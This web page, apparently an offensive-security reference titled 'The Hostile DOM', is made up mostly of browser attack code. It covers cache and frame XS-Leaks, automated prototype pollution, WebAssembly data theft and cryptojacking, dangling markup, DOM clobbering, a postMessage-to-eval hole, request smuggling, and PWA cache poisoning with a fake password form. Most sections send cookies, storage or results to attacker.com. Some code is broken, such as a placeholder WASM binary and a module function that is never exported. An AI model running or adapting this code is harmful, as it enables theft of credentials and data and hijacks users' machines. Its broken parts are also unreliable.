Skip to content

The Hostile DOM: Deep Dive Technical Reference

Offensive Security Research

This document provides exhaustive technical analysis of browser-based attack vectors. All code examples are for educational and authorized security research purposes only.

Part 8: Advanced Attack Vectors

8.1 XS-Leaks: Cross-Site Leakage Attacks

XS-Leaks exploit side-channels to leak sensitive information across origins.

Cache-Based XS-Leaks

Click to expand code
javascript
class XSLeakExploiter {
  constructor() {
    this.leakedData = '';
    this.cache = new Map();
  }
  
  // Cache probing attack
  async cacheProbeAttack(targetUrl, probeUrls) {
    console.log('[+] Starting cache probe attack on:', targetUrl);
    
    // First, ensure cache is warm with known content
    await this.warmCache(probeUrls);
    
    // Navigate to target (this will potentially evict cache entries)
    await this.navigateToTarget(targetUrl);
    
    // Probe cache state
    const cacheState = await this.probeCache(probeUrls);
    
    // Infer information from cache state
    const leakedInfo = this.inferFromCacheState(cacheState, probeUrls);
    
    console.log('[+] Cache probe results:', leakedInfo);
    return leakedInfo;
  }
  
  async warmCache(urls) {
    const promises = urls.map(url => 
      fetch(url, { 
        method: 'GET', 
        mode: 'no-cors',
        cache: 'force-cache' 
      })
    );
    
    await Promise.all(promises);
    console.log('[+] Cache warmed with', urls.length, 'entries');
  }
  
  async navigateToTarget(url) {
    return new Promise((resolve) => {
      const iframe = document.createElement('iframe');
      iframe.src = url;
      iframe.style.display = 'none';
      
      iframe.onload = () => {
        // Give it time to load and potentially modify cache
        setTimeout(() => {
          document.body.removeChild(iframe);
          resolve();
        }, 2000);
      };
      
      document.body.appendChild(iframe);
    });
  }
  
  async probeCache(urls) {
    const cacheState = {};
    
    for (const url of urls) {
      const start = performance.now();
      
      try {
        const response = await fetch(url, { 
          method: 'GET',
          mode: 'no-cors',
          cache: 'only-if-cached' // Only use cache
        });
        
        const end = performance.now();
        const cached = response.ok;
        const timing = end - start;
        
        cacheState[url] = { cached, timing };
        
      } catch (error) {
        const end = performance.now();
        cacheState[url] = { cached: false, timing: end - start };
      }
    }
    
    return cacheState;
  }
  
  inferFromCacheState(cacheState, urls) {
    // Analyze which URLs were evicted (not cached anymore)
    const evicted = urls.filter(url => !cacheState[url].cached);
    const cached = urls.filter(url => cacheState[url].cached);
    
    // Analyze timing differences
    const timings = urls.map(url => cacheState[url].timing);
    const avgTiming = timings.reduce((a, b) => a + b, 0) / timings.length;
    
    return {
      evictedUrls: evicted,
      cachedUrls: cached,
      averageTiming: avgTiming,
      timingVariance: this.calculateVariance(timings),
      inference: this.makeInference(evicted, cached)
    };
  }
  
  makeInference(evicted, cached) {
    // Example inference: if certain URLs are evicted, 
    // it might indicate the user visited specific pages
    if (evicted.length > cached.length) {
      return 'High cache eviction - possible large page load';
    } else if (cached.length > evicted.length) {
      return 'Low cache eviction - possible cached content reuse';
    } else {
      return 'Balanced cache state - normal browsing pattern';
    }
  }
  
  calculateVariance(values) {
    const mean = values.reduce((a, b) => a + b, 0) / values.length;
    const squareDiffs = values.map(value => Math.pow(value - mean, 2));
    return squareDiffs.reduce((a, b) => a + b, 0) / squareDiffs.length;
  }
  
  // Error-based XS-Leak
  async errorBasedLeak(targetUrl) {
    console.log('[+] Starting error-based XS-Leak on:', targetUrl);
    
    const testUrls = [
      `${targetUrl}?leak=1`,
      `${targetUrl}?leak=2`,
      `${targetUrl}?leak=3`
    ];
    
    const results = {};
    
    for (const url of testUrls) {
      try {
        const response = await fetch(url, { 
          mode: 'no-cors',
          credentials: 'include' // Include cookies
        });
        
        results[url] = { 
          status: response.status,
          ok: response.ok,
          type: response.type
        };
        
      } catch (error) {
        results[url] = { 
          error: error.message,
          blocked: error.message.includes('blocked') 
        };
      }
    }
    
    console.log('[+] Error-based leak results:', results);
    return results;
  }
  
  // Frame counting attack
  async frameCountingAttack(targetUrl) {
    console.log('[+] Starting frame counting attack on:', targetUrl);
    
    return new Promise((resolve) => {
      const iframe = document.createElement('iframe');
      iframe.src = targetUrl;
      iframe.style.display = 'none';
      
      let initialFrameCount = window.length;
      
      iframe.onload = () => {
        setTimeout(() => {
          const finalFrameCount = window.length;
          const frameDifference = finalFrameCount - initialFrameCount;
          
          document.body.removeChild(iframe);
          
          const result = {
            initialFrames: initialFrameCount,
            finalFrames: finalFrameCount,
            difference: frameDifference,
            inference: this.inferFromFrameCount(frameDifference)
          };
          
          console.log('[+] Frame counting results:', result);
          resolve(result);
        }, 3000);
      };
      
      document.body.appendChild(iframe);
    });
  }
  
  inferFromFrameCount(difference) {
    if (difference === 0) {
      return 'No additional frames - simple page or blocked';
    } else if (difference === 1) {
      return 'One additional frame - possible embedded content';
    } else if (difference > 1) {
      return `${difference} additional frames - complex page with multiple embeds`;
    }
  }
  
  // Global state probing
  async globalStateLeak(targetUrl) {
    console.log('[+] Starting global state leak on:', targetUrl);
    
    // Record initial state
    const initialState = this.captureGlobalState();
    
    // Load target in iframe
    await this.loadInIframe(targetUrl);
    
    // Record final state
    const finalState = this.captureGlobalState();
    
    // Compare states
    const differences = this.compareStates(initialState, finalState);
    
    console.log('[+] Global state differences:', differences);
    return differences;
  }
  
  captureGlobalState() {
    return {
      localStorage: { ...localStorage },
      sessionStorage: { ...sessionStorage },
      cookies: document.cookie,
      location: { ...location },
      historyLength: history.length,
      frameCount: window.length
    };
  }
  
  async loadInIframe(url) {
    return new Promise((resolve) => {
      const iframe = document.createElement('iframe');
      iframe.src = url;
      iframe.style.display = 'none';
      
      iframe.onload = () => {
        setTimeout(() => {
          document.body.removeChild(iframe);
          resolve();
        }, 2000);
      };
      
      document.body.appendChild(iframe);
    });
  }
  
  compareStates(initial, final) {
    const differences = {};
    
    // Compare localStorage
    const lsKeys = new Set([...Object.keys(initial.localStorage), ...Object.keys(final.localStorage)]);
    differences.localStorage = {};
    
    for (const key of lsKeys) {
      if (initial.localStorage[key] !== final.localStorage[key]) {
        differences.localStorage[key] = {
          initial: initial.localStorage[key],
          final: final.localStorage[key]
        };
      }
    }
    
    // Compare sessionStorage
    const ssKeys = new Set([...Object.keys(initial.sessionStorage), ...Object.keys(final.sessionStorage)]);
    differences.sessionStorage = {};
    
    for (const key of ssKeys) {
      if (initial.sessionStorage[key] !== final.sessionStorage[key]) {
        differences.sessionStorage[key] = {
          initial: initial.sessionStorage[key],
          final: final.sessionStorage[key]
        };
      }
    }
    
    // Compare cookies
    if (initial.cookies !== final.cookies) {
      differences.cookies = {
        initial: initial.cookies,
        final: final.cookies
      };
    }
    
    // Compare other properties
    ['historyLength', 'frameCount'].forEach(prop => {
      if (initial[prop] !== final[prop]) {
        differences[prop] = {
          initial: initial[prop],
          final: final[prop]
        };
      }
    });
    
    return differences;
  }
}

// Initialize XS-Leak exploiter
const xsLeakExploiter = new XSLeakExploiter();

// Example usage
async function runXSLeakAttacks() {
  const targetUrl = 'https://victim.com/profile';
  const probeUrls = [
    'https://victim.com/static/image1.jpg',
    'https://victim.com/static/image2.jpg',
    'https://victim.com/static/image3.jpg'
  ];
  
  // Run cache-based attack
  const cacheResults = await xsLeakExploiter.cacheProbeAttack(targetUrl, probeUrls);
  
  // Run error-based attack
  const errorResults = await xsLeakExploiter.errorBasedLeak(targetUrl);
  
  // Run frame counting attack
  const frameResults = await xsLeakExploiter.frameCountingAttack(targetUrl);
  
  // Run global state leak
  const stateResults = await xsLeakExploiter.globalStateLeak(targetUrl);
  
  // Exfiltrate all results
  fetch('https://attacker.com/xs-leak-results', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({
      cacheResults,
      errorResults,
      frameResults,
      stateResults,
      timestamp: new Date().toISOString()
    })
  });
}

runXSLeakAttacks();

8.2 Prototype Pollution Attacks

Prototype pollution exploits JavaScript's prototype chain to inject malicious properties.

Prototype Pollution Fundamentals

Click to expand code
javascript
class PrototypePolluter {
  constructor() {
    this.payloads = this.generatePayloads();
    this.vulnerableObjects = this.findVulnerableObjects();
  }
  
  generatePayloads() {
    return {
      // Basic prototype pollution
      basic: {
        '__proto__': {
          'polluted': true,
          'toString': () => 'POLLUTED'
        }
      },
      
      // Constructor pollution
      constructor: {
        'constructor': {
          'prototype': {
            'polluted': true,
            'evilMethod': () => alert('Prototype pollution successful!')
          }
        }
      },
      
      // Deep pollution
      deep: {
        '__proto__': {
          'config': {
            'apiKey': 'evil-api-key',
            'endpoint': 'https://attacker.com'
          },
          'utils': {
            'sanitize': (input) => `<script>alert('${input}')</script>`
          }
        }
      },
      
      // Property override pollution
      override: {
        '__proto__': {
          'toString': () => 'MALICIOUS_OVERRIDE',
          'valueOf': () => 1337,
          'isAdmin': true,
          'isLoggedIn': true
        }
      }
    };
  }
  
  findVulnerableObjects() {
    const vulnerable = [];
    
    // Common vulnerable patterns
    const patterns = [
      // URL parsing libraries
      () => URLSearchParams && new URLSearchParams('__proto__[polluted]=true'),
      
      // Query string parsers
      () => this.testObjectMerge({ '__proto__': { 'polluted': true } }),
      
      // JSON parsers with merge
      () => this.testJSONMerge('{"__proto__": {"polluted": true}}'),
      
      // Template engines
      () => this.testTemplateEngine(),
      
      // Configuration mergers
      () => this.testConfigMerge()
    ];
    
    patterns.forEach((test, index) => {
      try {
        const result = test();
        if (result && {}.polluted === true) {
          vulnerable.push(`pattern_${index}`);
          // Clean up
          delete Object.prototype.polluted;
        }
      } catch (error) {
        // Pattern not vulnerable or threw error
      }
    });
    
    return vulnerable;
  }
  
  testObjectMerge(obj) {
    // Test common merge patterns
    const target = {};
    
    // Object.assign pattern
    Object.assign(target, obj);
    
    // Spread operator pattern
    const spread = { ...obj };
    
    // jQuery.extend pattern (if available)
    if (window.jQuery && jQuery.extend) {
      jQuery.extend(target, obj);
    }
    
    // Lodash merge pattern (if available)
    if (window._ && _.merge) {
      _.merge(target, obj);
    }
    
    return target;
  }
  
  testJSONMerge(jsonString) {
    try {
      const obj = JSON.parse(jsonString);
      return this.testObjectMerge(obj);
    } catch (error) {
      return null;
    }
  }
  
  testTemplateEngine() {
    // Test Handlebars-style templates
    if (window.Handlebars) {
      try {
        const template = Handlebars.compile('{{__proto__.polluted}}');
        const result = template({ '__proto__': { 'polluted': 'TEMPLATE_POLLUTED' } });
        return result;
      } catch (error) {
        return null;
      }
    }
    
    return null;
  }
  
  testConfigMerge() {
    // Test configuration merging patterns
    const defaultConfig = {
      api: {
        endpoint: 'https://api.example.com',
        timeout: 5000
      },
      features: {
        logging: false,
        analytics: true
      }
    };
    
    const userConfig = {
      '__proto__': {
        'api': {
          'endpoint': 'https://attacker.com'
        }
      }
    };
    
    // Deep merge pattern
    const merged = this.deepMerge(defaultConfig, userConfig);
    return merged;
  }
  
  deepMerge(target, source) {
    for (const key in source) {
      if (source[key] && typeof source[key] === 'object') {
        target[key] = target[key] || {};
        this.deepMerge(target[key], source[key]);
      } else {
        target[key] = source[key];
      }
    }
    return target;
  }
  
  // Execute prototype pollution
  async executePollution(targetFunc, payload) {
    console.log('[+] Executing prototype pollution');
    
    try {
      // Apply payload
      await targetFunc(payload);
      
      // Verify pollution
      const verification = this.verifyPollution();
      
      if (verification.polluted) {
        console.log('[+] Prototype pollution successful:', verification);
        
        // Execute post-pollution attacks
        await this.postPollutionAttacks();
        
        return verification;
      } else {
        console.log('[-] Prototype pollution failed');
        return { success: false };
      }
      
    } catch (error) {
      console.log('[-] Prototype pollution error:', error);
      return { success: false, error: error.message };
    }
  }
  
  verifyPollution() {
    const tests = {
      basic: {}.polluted === true,
      constructor: ({}).constructor.prototype.polluted === true,
      toString: {}.toString() === 'POLLUTED',
      isAdmin: {}.isAdmin === true,
      config: {}.config && {}.config.apiKey === 'evil-api-key'
    };
    
    return {
      polluted: Object.values(tests).some(test => test),
      tests: tests
    };
  }
  
  async postPollutionAttacks() {
    console.log('[+] Executing post-pollution attacks');
    
    // Attack 1: Override native methods
    if ({}.toString() === 'POLLUTED') {
      console.log('[+] Native method override successful');
      
      // This could cause issues in JSON.stringify, logging, etc.
    }
    
    // Attack 2: Configuration poisoning
    if ({}.config && {}.config.endpoint === 'https://attacker.com') {
      console.log('[+] Configuration poisoned');
      
      // API calls now go to attacker
      fetch('/api/data').then(response => {
        // This request goes to attacker.com instead of legitimate API
        console.log('[+] Poisoned API call made');
      });
    }
    
    // Attack 3: Authentication bypass
    if ({}.isAdmin === true) {
      console.log('[+] Authentication bypass possible');
      
      // User objects might now have isAdmin: true
    }
    
    // Attack 4: XSS via sanitization bypass
    if ({}.utils && {}.utils.sanitize) {
      const maliciousInput = 'evil';
      const sanitized = {}.utils.sanitize(maliciousInput);
      console.log('[+] Sanitization bypassed:', sanitized);
      
      // Could lead to XSS if output is inserted into DOM
      document.body.innerHTML += sanitized;
    }
  }
  
  // Gadget discovery
  findGadgets() {
    const gadgets = [];
    
    // Common gadget patterns
    const gadgetPatterns = [
      // jQuery gadgets
      () => {
        if (window.jQuery) {
          // jQuery.extend is a common gadget
          jQuery.extend({}, { '__proto__': { 'gadget': true } });
          return {}.gadget === true ? 'jQuery.extend' : null;
        }
      },
      
      // Lodash gadgets
      () => {
        if (window._ && _.merge) {
          _.merge({}, { '__proto__': { 'gadget': true } });
          return {}.gadget === true ? 'lodash.merge' : null;
        }
      },
      
      // Vue.js gadgets
      () => {
        if (window.Vue) {
          // Vue.set can be a gadget in some versions
          try {
            Vue.set({}, '__proto__', { 'gadget': true });
            return {}.gadget === true ? 'Vue.set' : null;
          } catch (error) {
            return null;
          }
        }
      },
      
      // Express.js gadgets (server-side but can affect client)
      () => {
        // Look for Express-like merge patterns
        const test = {};
        if (typeof test === 'object' && test !== null) {
          Object.assign(test, { '__proto__': { 'gadget': true } });
          return {}.gadget === true ? 'Object.assign' : null;
        }
      }
    ];
    
    gadgetPatterns.forEach(pattern => {
      try {
        const gadget = pattern();
        if (gadget) {
          gadgets.push(gadget);
          // Clean up
          delete Object.prototype.gadget;
        }
      } catch (error) {
        // Gadget not available or threw error
      }
    });
    
    console.log('[+] Found gadgets:', gadgets);
    return gadgets;
  }
  
  // Automated exploitation
  async autoExploit() {
    console.log('[+] Starting automated prototype pollution exploitation');
    
    const gadgets = this.findGadgets();
    const results = [];
    
    for (const gadget of gadgets) {
      for (const [name, payload] of Object.entries(this.payloads)) {
        try {
          const result = await this.executePollution(
            (p) => this.applyToGadget(gadget, p),
            payload
          );
          
          results.push({
            gadget,
            payload: name,
            result
          });
          
        } catch (error) {
          results.push({
            gadget,
            payload: name,
            error: error.message
          });
        }
      }
    }
    
    console.log('[+] Exploitation results:', results);
    
    // Exfiltrate results
    fetch('https://attacker.com/prototype-pollution-results', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({
        results,
        vulnerableObjects: this.vulnerableObjects,
        timestamp: new Date().toISOString()
      })
    });
    
    return results;
  }
  
  applyToGadget(gadget, payload) {
    switch (gadget) {
      case 'jQuery.extend':
        return jQuery.extend({}, payload);
      case 'lodash.merge':
        return _.merge({}, payload);
      case 'Object.assign':
        return Object.assign({}, payload);
      default:
        throw new Error(`Unknown gadget: ${gadget}`);
    }
  }
}

// Initialize prototype polluter
const prototypePolluter = new PrototypePolluter();

// Run automated exploitation
prototypePolluter.autoExploit();

8.3 WebAssembly Exploitation

WebAssembly provides near-native performance and can be exploited for advanced attacks.

WASM-Based Computation Attacks

Click to expand code
javascript
class WASMExploiter {
  constructor() {
    this.wasmModule = null;
    this.memory = null;
  }
  
  // Load malicious WebAssembly module
  async loadMaliciousWASM() {
    console.log('[+] Loading malicious WebAssembly module');
    
    // WebAssembly binary that performs malicious operations
    const wasmBinary = this.generateMaliciousWASM();
    
    try {
      const result = await WebAssembly.instantiate(wasmBinary, {
        env: {
          // Import functions from JavaScript
          log: (ptr) => console.log('[WASM]', this.readString(ptr)),
          steal: (ptr) => this.stealData(this.readString(ptr)),
          exfiltrate: (ptr, len) => this.exfiltrateData(ptr, len)
        }
      });
      
      this.wasmModule = result.instance;
      this.memory = this.wasmModule.exports.memory;
      
      console.log('[+] Malicious WASM module loaded');
      return true;
      
    } catch (error) {
      console.log('[-] Failed to load WASM module:', error);
      return false;
    }
  }
  
  generateMaliciousWASM() {
    // This would be a compiled WebAssembly binary
    // For demonstration, we'll use a simple module
    const wasmCode = `
      (module
        (import "env" "log" (func $log (param i32)))
        (import "env" "steal" (func $steal (param i32)))
        (import "env" "exfiltrate" (func $exfiltrate (param i32 i32)))
        
        (memory (export "memory") 1)
        
        (data (i32.const 0) "Malicious WASM executing!")
        (data (i32.const 32) "Stolen data")
        
        (func (export "malicious_main")
          i32.const 0
          call $log
          
          i32.const 32
          call $steal
        )
        
        (func (export "compute_hash") (param $input i32) (param $len i32) (result i32)
          (local $hash i32)
          (local $i i32)
          
          i32.const 5381
          local.set $hash
          
          local.get $i
          local.get $len
          i32.lt_s
          if
            loop
              local.get $hash
              i32.const 33
              i32.mul
              local.get $input
              local.get $i
              i32.add
              i32.load8_u
              i32.xor
              local.set $hash
              
              local.get $i
              i32.const 1
              i32.add
              local.set $i
              
              local.get $i
              local.get $len
              i32.lt_s
              br_if 0
            end
          end
          
          local.get $hash
        )
      )
    `;
    
    // Convert WAT to WASM (this is simplified)
    return this.watToWasm(wasmCode);
  }
  
  watToWasm(watCode) {
    // In a real implementation, this would use wabt.js or similar
    // For now, return a placeholder
    console.log('[*] Converting WAT to WASM (placeholder)');
    return new Uint8Array([0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00]); // Minimal WASM header
  }
  
  readString(ptr) {
    const view = new Uint8Array(this.memory.buffer);
    let str = '';
    let i = ptr;
    
    while (view[i] !== 0) {
      str += String.fromCharCode(view[i]);
      i++;
    }
    
    return str;
  }
  
  stealData(type) {
    console.log(`[+] WASM stealing ${type}`);
    
    switch (type) {
      case 'cookies':
        return document.cookie;
      case 'localStorage':
        return JSON.stringify(localStorage);
      case 'location':
        return location.href;
      default:
        return 'unknown_data_type';
    }
  }
  
  exfiltrateData(ptr, len) {
    const view = new Uint8Array(this.memory.buffer);
    const data = view.slice(ptr, ptr + len);
    
    fetch('https://attacker.com/wasm-data', {
      method: 'POST',
      body: data
    });
  }
  
  // Execute WASM-based attacks
  async executeWASMStealth() {
    if (!this.wasmModule) {
      await this.loadMaliciousWASM();
    }
    
    console.log('[+] Executing WASM stealth operations');
    
    try {
      // Run main malicious function
      this.wasmModule.exports.malicious_main();
      
      // Use WASM for computation
      const testData = 'sensitive_data';
      const dataPtr = this.allocateString(testData);
      const hash = this.wasmModule.exports.compute_hash(dataPtr, testData.length);
      
      console.log(`[+] WASM computed hash: ${hash}`);
      
      // Exfiltrate hash
      this.exfiltrateData(dataPtr, testData.length);
      
    } catch (error) {
      console.log('[-] WASM execution error:', error);
    }
  }
  
  allocateString(str) {
    const bytes = new TextEncoder().encode(str + '\0');
    const ptr = this.wasmModule.exports.allocate(bytes.length);
    
    const view = new Uint8Array(this.memory.buffer);
    view.set(bytes, ptr);
    
    return ptr;
  }
  
  // WASM-based cryptojacking
  async wasmCryptoJack() {
    console.log('[+] Starting WASM-based cryptojacking');
    
    const cryptoWasm = `
      (module
        (func (export "mine") (param $nonce i32) (result i32)
          (local $hash i32)
          (local $i i32)
          
          i32.const 0
          local.set $hash
          
          local.get $i
          i32.const 1000000  ;; Mining difficulty
          i32.lt_s
          if
            loop
              local.get $hash
              local.get $nonce
              i32.add
              local.get $i
              i32.xor
              local.set $hash
              
              local.get $i
              i32.const 1
              i32.add
              local.set $i
              
              local.get $i
              i32.const 1000000
              i32.lt_s
              br_if 0
            end
          end
          
          local.get $hash
        )
      )
    `;
    
    try {
      const cryptoModule = await WebAssembly.instantiate(this.watToWasm(cryptoWasm));
      
      // Mine in background
      setInterval(() => {
        const nonce = Math.floor(Math.random() * 1000000);
        const result = cryptoModule.instance.exports.mine(nonce);
        
        // Send mining results to attacker (proof of work)
        fetch('https://attacker.com/mining-result', {
          method: 'POST',
          headers: { 'Content-Type': 'application/json' },
          body: JSON.stringify({ nonce, result })
        });
      }, 100);
      
      console.log('[+] WASM cryptojacking active');
      
    } catch (error) {
      console.log('[-] WASM cryptojacking failed:', error);
    }
  }
  
  // WASM memory corruption
  async wasmMemoryCorruption() {
    console.log('[+] Attempting WASM memory corruption');
    
    if (!this.memory) return;
    
    try {
      // Access memory directly
      const view = new Uint32Array(this.memory.buffer);
      
      // Attempt to corrupt memory boundaries
      for (let i = 0; i < 100; i++) {
        const randomAddr = Math.floor(Math.random() * view.length);
        view[randomAddr] = 0xDEADBEEF; // Corruption marker
      }
      
      console.log('[+] Memory corruption applied');
      
      // Try to trigger use-after-free or other memory issues
      this.wasmModule.exports.malicious_main();
      
    } catch (error) {
      console.log('[+] Memory corruption caused exception:', error.message);
    }
  }
}

// Initialize WASM exploiter
const wasmExploiter = new WASMExploiter();

// Run WASM attacks
async function runWASMAttacks() {
  await wasmExploiter.executeWASMStealth();
  await wasmExploiter.wasmCryptoJack();
  await wasmExploiter.wasmMemoryCorruption();
}

runWASMAttacks();

8.4 Dangling Markup Injection

Dangling markup injection exploits unclosed HTML tags to capture and exfiltrate page content.

Incomplete Tag Exfiltration

Click to expand code
html
<!-- Attacker injects an unclosed tag -->
<img src="https://attacker.com/log?data=
<!-- The browser will treat everything until the next quote as part of the URL -->

<!-- Victim's sensitive data follows -->
<div id="csrf-token">secret-token-12345</div>
<div id="user-email">victim@example.com</div>

<!-- The exfiltration happens when the browser tries to load the image -->

8.5 DOM Clobbering

DOM Clobbering exploits the browser's behavior of creating global variables from HTML elements with id or name attributes.

Named Element Property Collision

Click to expand code
html
<!-- Clobbering a global variable -->
<img id="config" src="x" name="url" value="https://attacker.com/malicious.js">

<script>
  // Vulnerable code
  const scriptUrl = window.config ? window.config.url : '/js/default.js';
  const script = document.createElement('script');
  script.src = scriptUrl;
  document.head.appendChild(script);
</script>

<!-- Clobbering multi-level properties -->
<form id="x"><output id="y">polluted</output></form>
<script>
  // window.x.y will be "polluted"
  console.log(window.x.y.value);
</script>

8.6 PostMessage Vulnerabilities

PostMessage allows cross-origin communication but is often implemented without proper origin validation.

Origin Validation Bypass

Click to expand code
javascript
// Attacker frame
const victim = window.open('https://victim.com');
setTimeout(() => {
  victim.postMessage({ action: 'exec', cmd: 'alert(1)' }, '*');
}, 2000);

// Vulnerable listener on victim.com
window.addEventListener('message', (event) => {
  // MISSING: if (event.origin !== 'https://trusted.com') return;
  
  if (event.data.action === 'exec') {
    eval(event.data.cmd);
  }
});

8.7 Request Smuggling & Desync

Browser-based request smuggling exploits protocol differences to poison caches or bypass security.

HTTP/2 to HTTP/1.1 Smuggling

Click to expand code
javascript
async function smuggleRequest() {
  // Smuggle a request via fetch with malformed headers
  // (Requires specific browser/proxy vulnerabilities)
  await fetch('/api/data', {
    headers: {
      'Transfer-Encoding': 'chunked',
      'Content-Length': '10',
      'X-Smuggled': 'true\r\n\r\nPOST /admin/delete HTTP/1.1\r\nHost: victim.com'
    },
    method: 'POST',
    body: '0\r\n\r\n'
  });
}

8.8 PWA Exploitation

Progressive Web Apps introduce new attack surfaces through manifests and offline caches.

Manifest Injection & Cache Poisoning

Click to expand code
javascript
// Poisoning the PWA cache
async function poisonPWACache() {
  const cache = await caches.open('v1');
  await cache.put('/index.html', new Response(`
    <html>
      <body>
        <h1>System Update Required</h1>
        <form action="https://attacker.com/login">
          <input type="password" name="pass">
          <button>Update</button>
        </form>
      </body>
    </html>
  `, {
    headers: { 'Content-Type': 'text/html' }
  }));
}